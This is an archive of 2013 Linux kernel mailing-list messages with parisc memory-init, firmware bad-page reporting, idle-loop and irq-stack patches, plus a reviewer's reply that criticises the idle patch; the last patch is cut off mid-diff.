X-pstn-settings: 3 (1.0000:0.0100) s cv gt4 GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <liuj97@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:99564 gmane.linux.kernel.cross-arch:17848 gmane.linux.kernel:1487533 gmane.linux.ports.parisc:4998
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/99564>

Prepare for removing num_physpages and simplify mem_init().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/parisc/mm/init.c |   46 +++-------------------------------------------
 1 file changed, 3 insertions(+), 43 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1fe9d841..f80c175 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -214,7 +214,6 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
-	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -229,10 +228,8 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
-	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
-	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
@@ -532,7 +529,7 @@ void free_initmem(void)
 	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
 	
-	num_physpages += free_initmem_default(-1);
+	free_initmem_default(-1);
 
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
@@ -580,8 +577,6 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
-	int codesize, reservedpages, datasize, initsize;
-
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
@@ -603,33 +598,6 @@ void __init mem_init(void)
 	}
 #endif
 
-	codesize = (unsigned long)_etext - (unsigned long)_text;
-	datasize = (unsigned long)_edata - (unsigned long)_etext;
-	initsize = (unsigned long)__init_end - (unsigned long)__init_begin;
-
-	reservedpages = 0;
-{
-	unsigned long pfn;
-#ifdef CONFIG_DISCONTIGMEM
-	int i;
-
-	for (i = 0; i < npmem_ranges; i++) {
-		for (pfn = node_start_pfn(i); pfn < node_end_pfn(i); pfn++) {
-			if (PageReserved(pfn_to_page(pfn)))
-				reservedpages++;
-		}
-	}
-#else /* !CONFIG_DISCONTIGMEM */
-	for (pfn = 0; pfn < max_pfn; pfn++) {
-		/*
-		 * Only count reserved RAM pages
-		 */
-		if (PageReserved(pfn_to_page(pfn)))
-			reservedpages++;
-	}
-#endif
-}
-
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
@@ -643,15 +611,7 @@ void __init mem_init(void)
 	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 #endif
 
-	printk(KERN_INFO "Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init)\n",
-		nr_free_pages() << (PAGE_SHIFT-10),
-		num_physpages << (PAGE_SHIFT-10),
-		codesize >> 10,
-		reservedpages << (PAGE_SHIFT-10),
-		datasize >> 10,
-		initsize >> 10
-	);
-
+	mem_init_print_info(NULL);
 #ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
 	printk("virtual kernel memory layout:\n"
 	       "    vmalloc : 0x%p - 0x%p   (%4ld MB)\n"
@@ -1099,6 +1059,6 @@ void flush_tlb_all(void)
 #ifdef CONFIG_BLK_DEV_INITRD
 void free_initrd_mem(unsigned long start, unsigned long end)
 {
-	num_physpages += free_reserved_area(start, end, -1, "initrd");
+	free_reserved_area(start, end, -1, "initrd");
 }
 #endif
-- 
1.7.9.5

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC] [PATCH] parisc: use Page Deallocation Table from firmware to
 exclude broken memory (v1)
Date: Wed, 8 May 2013 22:22:06 +0200
Lines: 185
Approved: news@gmane.org
Message-ID: <20130508202206.GA10645@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368044538 7095 80.91.229.3 (8 May 2013 20:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 May 2013 20:22:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 08 22:22:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaAsO-0002Fh-Vd
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 May 2013 22:22:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755781Ab3EHUWM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 May 2013 16:22:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:63910 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750900Ab3EHUWL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 May 2013 16:22:11 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MF6cH-1UkquP01c3-00GLHM for
 <linux-parisc@vger.kernel.org>; Wed, 08 May 2013 22:22:10 +0200
Original-Received: (qmail invoked by alias); 08 May 2013 20:22:09 -0000
Original-Received: from p54AD15C8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.21.200]
  by mail.gmx.net (mp004) with SMTP; 08 May 2013 22:22:09 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/nAooERF3nhmehLUYw2ZpMOp/hPC8nDSBHjhfoNP
	mdQiKynU5slFLs
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4999>

This is an initial patch which uses the Page Deallocation Table (PDT) from
firmware to exclude known-to-be-broken memory regions.

Currently only reporting is implemented.

TODOs:
- really exclude broken memory regions from being used by Linux
- check if PDT works as expected on a 32bit kernel as well.
- check if currently implemented reporting is correct.

Feedback/Testers (with broken hardware :-)) wanted!

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 7eb616e..8b8ad6f 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -143,6 +143,18 @@ struct pdc_btlb_info {	/* PDC_BLOCK_TLB, return of PDC_BTLB_INFO */
 
 #endif /* !CONFIG_PA20 */
 
+struct pdc_memory_retinfo { /* PDC_MEM/PDC_MEM_MEMINFO (return info) */
+	unsigned long pdt_size;
+	unsigned long page_entries;
+	unsigned long pdt_status;
+	unsigned long dbe_loc;
+	unsigned long good_mem;
+};
+
+struct pdc_memory_read_pdt { /* PDC_MEM/PDC_MEM_READ_PDT (return info) */
+	unsigned long page_entries;
+};
+
 #ifdef CONFIG_64BIT
 struct pdc_memory_table_raddr { /* PDC_MEM/PDC_MEM_TABLE (return info) */
 	unsigned long entries_returned;
@@ -301,6 +313,9 @@ int pdc_get_initiator(struct hardware_path *, struct pdc_initiator *);
 int pdc_tod_read(struct pdc_tod *tod);
 int pdc_tod_set(unsigned long sec, unsigned long usec);
 
+int pdc_mem_pdt_info(struct pdc_memory_retinfo *rinfo);
+int pdc_mem_pdt_read_entries(struct pdc_memory_read_pdt *rpdt_read,
+		unsigned long *pdt_entries_ptr);
 #ifdef CONFIG_64BIT
 int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr,
 		struct pdc_memory_table *tbl, unsigned long entries);
diff --git a/arch/parisc/include/uapi/asm/pdc.h b/arch/parisc/include/uapi/asm/pdc.h
index 702498f..b067b86 100644
--- a/arch/parisc/include/uapi/asm/pdc.h
+++ b/arch/parisc/include/uapi/asm/pdc.h
@@ -131,12 +131,12 @@
 #define PDC_TLB_SETUP		1	/* set up miss handling 	*/
 
 #define PDC_MEM		20		/* Manage memory		*/
-#define PDC_MEM_MEMINFO		0
-#define PDC_MEM_ADD_PAGE	1
-#define PDC_MEM_CLEAR_PDT	2
-#define PDC_MEM_READ_PDT	3
-#define PDC_MEM_RESET_CLEAR	4
-#define PDC_MEM_GOODMEM		5
+#define PDC_MEM_MEMINFO		0	/* Return Page Deallocation Table (PDT) info */
+#define PDC_MEM_ADD_PAGE	1	/* Add page to PDT		*/
+#define PDC_MEM_CLEAR_PDT	2	/* Clear PDT			*/
+#define PDC_MEM_READ_PDT	3	/* Read PDT entry		*/
+#define PDC_MEM_RESET_CLEAR	4	/* Reset PDT clear flag		*/
+#define PDC_MEM_GOODMEM		5	/* Set good_mem value		*/
 #define PDC_MEM_TABLE		128	/* Non contig mem map (sprockets) */
 #define PDC_MEM_RETURN_ADDRESS_TABLE	PDC_MEM_TABLE
 #define PDC_MEM_GET_MEMORY_SYSTEM_TABLES_SIZE	131
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index f65fa48..87ad71c 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -955,6 +955,41 @@ int pdc_tod_read(struct pdc_tod *tod)
 }
 EXPORT_SYMBOL(pdc_tod_read);
 
+int __init pdc_mem_pdt_info(struct pdc_memory_retinfo *rinfo)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_MEM, PDC_MEM_MEMINFO, __pa(pdc_result), 0);
+	convert_to_wide(pdc_result);
+	memcpy(rinfo, pdc_result, sizeof(*rinfo));
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
+int __init pdc_mem_pdt_read_entries(struct pdc_memory_read_pdt *rpdt_read,
+		unsigned long *pdt_entries_ptr)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_MEM, PDC_MEM_READ_PDT, __pa(pdc_result),
+			__pa(pdc_result2));
+	if (retval == PDC_OK) {
+		convert_to_wide(pdc_result);
+		memcpy(rpdt_read, pdc_result, sizeof(*rpdt_read));
+		convert_to_wide(pdc_result2);
+		memcpy(pdt_entries_ptr, pdc_result2,
+			rpdt_read->page_entries * sizeof(*pdt_entries_ptr));
+	}
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
 /**
  * pdc_tod_set - Set the Time-Of-Day clock.
  * @sec: The number of seconds since epoch.
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index ce939ac..32b9bbc 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -111,6 +111,49 @@ static void __init mem_limit_func(void)
 		mem_limit = limit;
 }
 
+/*
+ * Check Page Deallocation Table (PDT). The PDT is maintained in firmware and
+ * provides a list of bad memory areas.
+ */
+static int __init reserve_pdt_pages(void)
+{
+	int ret, i;
+	struct pdc_memory_retinfo rinfo;
+	struct pdc_memory_read_pdt pdt_read_ret;
+	unsigned long pdt_entry[80];
+
+	ret = pdc_mem_pdt_info(&rinfo);
+	if (ret != PDC_OK) {
+		pr_warn("Firmware (PDT) provides invalid information (%d).\n",
+			ret);
+		return 0;
+	}
+
+	/* printk("PDT: ret = %d, pdt_size = %lu, page_entries = %lu,
+			pdt_status = %lu, dbe_loc = %lu, good_mem = %lu\n",
+			ret, rinfo.pdt_size, rinfo.page_entries,
+			rinfo.pdt_status, rinfo.dbe_loc, rinfo.good_mem); */
+
+	if (rinfo.page_entries == 0) {
+		pr_info("Firmware (PDT) reports fully functional memory.\n");
+		return 0;
+	}
+
+	pr_warn("WARNING: Firmware (PDT) reports %lu pages of broken memory:\n",
+		rinfo.page_entries);
+	BUG_ON(rinfo.page_entries > ARRAY_SIZE(pdt_entry));
+
+	ret = pdc_mem_pdt_read_entries(&pdt_read_ret, pdt_entry);
+	BUG_ON(ret != PDC_OK);
+
+	for (i = 0; i < pdt_read_ret.page_entries; i++)
+		pr_warn("BAD PAGE at 0x%lx (error_tye = %lu)\n",
+			pdt_entry[i] & (1UL << (BITS_PER_LONG-4)),
+			pdt_entry[i] >> (BITS_PER_LONG-1));
+
+	return 0;
+}
+
 #define MAX_GAP (0x40000000UL >> PAGE_SHIFT)
 
 static void __init setup_bootmem(void)
@@ -202,6 +245,9 @@ static void __init setup_bootmem(void)
 		request_resource(&iomem_resource, res);
 	}
 
+	/* Check Page Deallocation Table (PDT) for bad memory. */
+	reserve_pdt_pages();
+
 	/*
 	 * For 32 bit kernels we limit the amount of memory we can
 	 * support, in order to preserve enough kernel address space
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: avoid WARNING: at kernel/cpu/idle.c:96
Date: Wed, 8 May 2013 22:42:42 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20130508204242.GA16254@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368045769 19398 80.91.229.3 (8 May 2013 20:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 May 2013 20:42:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 08 22:42:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaBCJ-0004Ej-ND
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 May 2013 22:42:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758143Ab3EHUmr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 May 2013 16:42:47 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55194 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755781Ab3EHUmq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 May 2013 16:42:46 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lgbwh-1UFN7Q1xaP-00o1Pt for
 <linux-parisc@vger.kernel.org>; Wed, 08 May 2013 22:42:45 +0200
Original-Received: (qmail invoked by alias); 08 May 2013 20:42:45 -0000
Original-Received: from p54AD15C8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.21.200]
  by mail.gmx.net (mp002) with SMTP; 08 May 2013 22:42:45 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/6Sa4bKHf65WgUXeg3VVG+rrBzGz/eC2J1U8TwHS
	+knh7DUB/EKZQU
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5000>

We need to enable local irqs to avoid this runtime warning.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 55f92b6..2840d43 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -286,3 +286,8 @@ void *dereference_function_descriptor(void *ptr)
 	return ptr;
 }
 #endif
+
+void arch_cpu_idle(void)
+{
+	local_irq_enable();
+}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: avoid WARNING: at kernel/cpu/idle.c:96
Date: Wed, 08 May 2013 14:05:34 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <1368047134.8623.5.camel@dabdike>
References: <20130508204242.GA16254@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368047143 948 80.91.229.3 (8 May 2013 21:05:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 May 2013 21:05:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 08 23:05:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaBYR-0003bx-UR
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 May 2013 23:05:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756972Ab3EHVFj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 May 2013 17:05:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48160 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755820Ab3EHVFi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 May 2013 17:05:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7A7A08EE0C9;
	Wed,  8 May 2013 14:05:38 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id wmYZ2yzxC8uf; Wed,  8 May 2013 14:05:38 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 027598EE0AB;
	Wed,  8 May 2013 14:05:37 -0700 (PDT)
In-Reply-To: <20130508204242.GA16254@p100.box>
X-Mailer: Evolution 3.8.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5001 gmane.linux.kernel:1487749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5001>

On Wed, 2013-05-08 at 22:42 +0200, Helge Deller wrote:
> We need to enable local irqs to avoid this runtime warning.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> index 55f92b6..2840d43 100644
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -286,3 +286,8 @@ void *dereference_function_descriptor(void *ptr)
>  	return ptr;
>  }
>  #endif
> +
> +void arch_cpu_idle(void)
> +{
> +	local_irq_enable();

This is definitely wrong.  we'd need at least a cpu_relax() in there.
Without that the cpu will bounce around in the idle loop.  I'd advise
that we simply keep the default cpu_idle_poll().

However, this looks like a kernel bug to me in cpu_idle_loop()?  not
something we should be working around in the arch code.

Thomas, what's going on here?  It looks like you can never avoid the
WARN_ON_ONCE if you don't provide any arch specific idle functions.  If
you wish to allow this case then the correct patch (keeping the WARN_ON)
would appear to be this one.

James

----
diff --git a/kernel/cpu/idle.c b/kernel/cpu/idle.c
index 8b86c0c..829e41f 100644
--- a/kernel/cpu/idle.c
+++ b/kernel/cpu/idle.c
@@ -56,6 +56,7 @@ void __weak arch_cpu_idle_dead(void) { }
 void __weak arch_cpu_idle(void)
 {
 	cpu_idle_force_poll = 1;
+	local_irq_enable();
 }
 
 /*


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: implement irq stacks - part 2
Date: Thu, 9 May 2013 02:14:38 +0200
Lines: 211
Approved: news@gmane.org
Message-ID: <20130509001438.GA32043@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368058494 12336 80.91.229.3 (9 May 2013 00:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 May 2013 00:14:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 09 02:14:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaEVX-0001gN-Br
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 May 2013 02:14:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752748Ab3EIAOu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 May 2013 20:14:50 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:60347 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750830Ab3EIAOu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 May 2013 20:14:50 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LfUwx-1UC9DU0P5V-00p7Ty for
 <linux-parisc@vger.kernel.org>; Thu, 09 May 2013 02:14:41 +0200
Original-Received: (qmail invoked by alias); 09 May 2013 00:14:40 -0000
Original-Received: from p54AD15C8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.21.200]
  by mail.gmx.net (mp029) with SMTP; 09 May 2013 02:14:40 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18W90ZjDykWy+tzC9CTb3Hzi1YeZ0fDpUtNxmYPu9
	0027UPpsxKlNai
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5002>

This patch fixes few build issues which were introduced with the last
irq stack patch, e.g. the combination of stack overflow check and irq
stack.

Furthermore it now does proper locking and changes the irq bh handler to
use the irq stack as well.

One issue still needs fixing: The irq stack usage counter will not be
incremented and will show zero.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index 12373c4..c4be3c7 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -11,10 +11,17 @@
 #include <linux/threads.h>
 #include <linux/irq.h>
 
+#ifdef CONFIG_IRQSTACKS
+#define __ARCH_HAS_DO_SOFTIRQ
+#endif
+
 typedef struct {
 	unsigned int __softirq_pending;
 #ifdef CONFIG_DEBUG_STACKOVERFLOW
 	unsigned int kernel_stack_usage;
+#ifdef CONFIG_IRQSTACKS
+	unsigned int irq_stack_usage;
+#endif
 #endif
 #ifdef CONFIG_SMP
 	unsigned int irq_resched_count;
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 0640155..cfbc439 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -63,10 +63,13 @@
  */
 #ifdef __KERNEL__
 
+#include <linux/spinlock_types.h>
+
 #define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
 
 union irq_stack_union {
 	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
+	raw_spinlock_t lock;
 };
 
 DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index e255db0..010a1fc 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -166,22 +166,28 @@ int arch_show_interrupts(struct seq_file *p, int prec)
 	seq_printf(p, "%*s: ", prec, "STK");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->kernel_stack_usage);
-	seq_printf(p, "  Kernel stack usage\n");
+	seq_puts(p, "  Kernel stack usage\n");
+# ifdef CONFIG_IRQSTACKS
+	seq_printf(p, "%*s: ", prec, "IST");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_stack_usage);
+	seq_puts(p, "  Interrupt stack usage\n");
+# endif
 #endif
 #ifdef CONFIG_SMP
 	seq_printf(p, "%*s: ", prec, "RES");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_resched_count);
-	seq_printf(p, "  Rescheduling interrupts\n");
+	seq_puts(p, "  Rescheduling interrupts\n");
 	seq_printf(p, "%*s: ", prec, "CAL");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_call_count);
-	seq_printf(p, "  Function call interrupts\n");
+	seq_puts(p, "  Function call interrupts\n");
 #endif
 	seq_printf(p, "%*s: ", prec, "TLB");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_tlb_count);
-	seq_printf(p, "  TLB shootdowns\n");
+	seq_puts(p, "  TLB shootdowns\n");
 	return 0;
 }
 
@@ -378,6 +384,7 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 	unsigned long sp = regs->gr[30];
 	unsigned long stack_usage;
 	unsigned int *last_usage;
+	int cpu = smp_processor_id();
 
 	/* if sr7 != 0, we interrupted a userspace process which we do not want
 	 * to check for stack overflow. We will only check the kernel stack. */
@@ -386,7 +393,31 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 
 	/* calculate kernel stack usage */
 	stack_usage = sp - stack_start;
-	last_usage = &per_cpu(irq_stat.kernel_stack_usage, smp_processor_id());
+#ifdef CONFIG_IRQSTACKS
+	if (likely(stack_usage <= THREAD_SIZE))
+		goto check_kernel_stack; /* found kernel stack */
+
